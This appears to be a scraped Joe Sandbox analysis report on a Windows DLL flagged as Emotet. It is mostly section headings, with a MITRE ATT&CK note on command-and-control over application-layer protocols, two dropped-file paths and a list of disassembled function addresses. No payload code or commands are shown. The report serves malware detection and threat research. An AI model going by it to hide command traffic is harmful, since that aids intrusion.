Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report aOHLlvfakv.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Emotet

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Snort IDS Alerts

Windows Analysis Report
aOHLlvfakv.dll

Function 01360000 Relevance: 53.5, APIs: 4, Strings: 26, Instructions: 953
memoryCOMMON

Function 0043F160 Relevance: 45.9, APIs: 17, Strings: 9, Instructions: 387
threadCOMMON

Function 000000018001709C Relevance: 11.5, Strings: 9, Instructions: 237
COMMON

Function 00401730 Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 328
COMMON

Function 00401C80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58
libraryloaderCOMMON

Function 0000000180007D6C Relevance: 7.7, Strings: 6, Instructions: 201
COMMON

Function 000000018001A000 Relevance: 7.7, Strings: 6, Instructions: 154
COMMON

Function 000000018000CC14 Relevance: 4.1, Strings: 3, Instructions: 312
COMMON

Function 0000000180008BC8 Relevance: 4.0, Strings: 3, Instructions: 213
COMMON

Function 00448980 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON